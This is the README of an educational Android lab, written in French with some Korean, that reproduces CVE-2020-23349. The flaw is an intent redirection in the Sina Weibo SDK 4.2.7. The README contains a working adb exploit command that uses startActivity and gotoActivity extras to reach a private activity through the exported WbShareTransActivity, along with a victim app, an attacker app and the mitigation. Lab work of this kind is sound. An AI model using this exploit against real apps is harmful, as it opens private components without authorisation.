
Laboratoire Android pédagogique pour la CVE-2020-23349 dans le SDK Sina Weibo 4.2.7
Projet pédagogique permettant de reproduire localement la vulnérabilité de redirection d'intention (Intent Redirection) du SDK Android 4.2.7 de Sina Weibo.
À utiliser uniquement sur des appareils de test autorisés ou un émulateur. Ne pas l'utiliser contre de véritables applications utilisateur.
victim : application vulnérable incluant le openDefault-4.2.7.aar réelattacker : application attaquante qui appelle l'activité exportée WbShareTransActivityvictim/.../PrivateActivity : cible de la reproduction avec android:exported="false"Le flux vulnérable est le suivant :
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Android SDK 36 et JDK 17 sont requis.
./gradlew clean assembleDebug
Fichiers générés :
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity.EXPLOIT SUCCESS apparaît, la reproduction a réussi.Vous pouvez également reproduire directement avec ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
Le SDK 4.2.7 fait confiance aux chaînes startActivity et gotoActivity de l'Intent externe et les utilise sous la forme suivante :
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Comme this est le Context de l'application Victim, Android considère que c'est l'application Victim elle-même qui exécute sa propre activité privée.
Dans les builds Android modernes, android:exported doit être déclaré explicitement ; ce projet définit donc explicitement true dans victim/AndroidManifest.xml afin de reproduire l'état d'exportation implicite des anciens SDK.
Pour les exercices qui ne nécessitent pas la fonction de partage, remplacez la valeur suivante par false et reconstruisez :
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
Ensuite, si vous répétez la même attaque, elle sera bloquée par une SecurityException. Dans un produit réel, vous devez supprimer le SDK Weibo 4.x et mettre à niveau vers la dernière version de maintenance.
L'AAR inclus provient du commit 4.2.7 du dépôt public officiel de Sina Weibo.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar